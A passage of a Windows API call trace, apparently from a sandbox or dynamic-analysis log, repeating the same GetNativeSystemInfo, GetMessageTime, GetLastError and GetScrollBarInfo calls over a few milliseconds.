lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.986] GetMessageTime () returned 0 [0028.986] GetLastError () returned 0x578 [0028.986] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.986] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.986] GetMessageTime () returned 0 [0028.986] GetLastError () returned 0x578 [0028.986] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.986] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.986] GetMessageTime () returned 0 [0028.986] GetLastError () returned 0x578 [0028.986] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.986] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.986] GetMessageTime () returned 0 [0028.986] GetLastError () returned 0x578 [0028.986] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.986] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.986] GetMessageTime () returned 0 [0028.986] GetLastError () returned 0x578 [0028.986] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.986] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.986] GetMessageTime () returned 0 [0028.986] GetLastError () returned 0x578 [0028.986] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.986] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.987] GetMessageTime () returned 0 [0028.987] GetLastError () returned 0x578 [0028.987] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.987] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.987] GetMessageTime () returned 0 [0028.987] GetLastError () returned 0x578 [0028.987] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.987] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.987] GetMessageTime () returned 0 [0028.987] GetLastError () returned 0x578 [0028.987] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.987] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.987] GetMessageTime () returned 0 [0028.987] GetLastError () returned 0x578 [0028.987] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.987] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.987] GetMessageTime () returned 0 [0028.987] GetLastError () returned 0x578 [0028.987] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.987] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.987] GetMessageTime () returned 0 [0028.987] GetLastError () returned 0x578 [0028.987] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.987] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.988] GetMessageTime () returned 0 [0028.988] GetLastError () returned 0x578 [0028.988] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.988] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.988] GetMessageTime () returned 0 [0028.988] GetLastError () returned 0x578 [0028.988] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.988] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.988] GetMessageTime () returned 0 [0028.988] GetLastError () returned 0x578 [0028.988] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.988] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.988] GetMessageTime () returned 0 [0028.988] GetLastError () returned 0x578 [0028.988] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.988] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.988] GetMessageTime () returned 0 [0028.988] GetLastError () returned 0x578 [0028.988] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.988] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.988] GetMessageTime () returned 0 [0028.988] GetLastError () returned 0x578 [0028.988] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.988] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.989] GetMessageTime () returned 0 [0028.989] GetLastError () returned 0x578 [0028.989] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.989] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.989] GetMessageTime () returned 0 [0028.989] GetLastError () returned 0x578 [0028.989] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.989] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.989] GetMessageTime () returned 0 [0028.989] GetLastError () returned 0x578 [0028.989] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.989] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.989] GetMessageTime () returned 0 [0028.989] GetLastError () returned 0x578 [0028.989] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.990] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.990] GetMessageTime () returned 0 [0028.990] GetLastError () returned 0x578 [0028.990] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.990] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.990] GetMessageTime () returned 0 [0028.990] GetLastError () returned 0x578 [0028.990] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.990] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.990] GetMessageTime () returned 0 [0028.990] GetLastError () returned 0x578 [0028.990] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.990] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.990] GetMessageTime () returned 0 [0028.990] GetLastError () returned 0x578 [0028.990] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.990] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.990] GetMessageTime () returned 0 [0028.990] GetLastError () returned 0x578 [0028.990] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.990] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.990] GetMessageTime () returned 0 [0028.990] GetLastError () returned 0x578 [0028.990] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.991] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.991] GetMessageTime () returned 0 [0028.991] GetLastError () returned 0x578 [0028.991] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.991] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.991] GetMessageTime () returned 0 [0028.991] GetLastError () returned 0x578 [0028.991] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.991] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.991] GetMessageTime () returned 0 [0028.991] GetLastError () returned 0x578 [0028.991] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.991] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.991] GetMessageTime () returned 0 [0028.991] GetLastError () returned 0x578 [0028.991] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.991] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.991] GetMessageTime () returned 0 [0028.991] GetLastError () returned 0x578 [0028.991] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.991] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.991] GetMessageTime () returned 0 [0028.992] GetLastError () returned 0x578 [0028.992] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.992] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.992] GetMessageTime () returned 0 [0028.992] GetLastError () returned 0x578 [0028.992] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.992] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.992] GetMessageTime () returned 0 [0028.992] GetLastError () returned 0x578 [0028.992] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.992] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.992] GetMessageTime () returned 0 [0028.992] GetLastError () returned 0x578 [0028.992] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.992] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.992] GetMessageTime () returned 0 [0028.992] GetLastError () returned 0x578 [0028.992] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.992] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.992] GetMessageTime () returned 0 [0028.992] GetLastError () returned 0x578 [0028.992] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.992] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.992] GetMessageTime () returned 0 [0028.993] GetLastError () returned 0x578 [0028.993] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.993] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.993] GetMessageTime () returned 0 [0028.993] GetLastError () returned 0x578 [0028.993] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.993] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.993] GetMessageTime () returned 0 [0028.993] GetLastError () returned 0x578 [0028.993] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.993] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.993] GetMessageTime () returned 0 [0028.993] GetLastError () returned 0x578 [0028.993] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.993] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.993] GetMessageTime () returned 0 [0028.993] GetLastError () returned 0x578 [0028.993] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.993] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.993] GetMessageTime () returned 0 [0028.993] GetLastError () returned 0x578 [0028.993] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.993] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.993] GetMessageTime () returned 0 [0028.993] GetLastError () returned 0x578 [0028.994] GetScrollBarInfo (in: 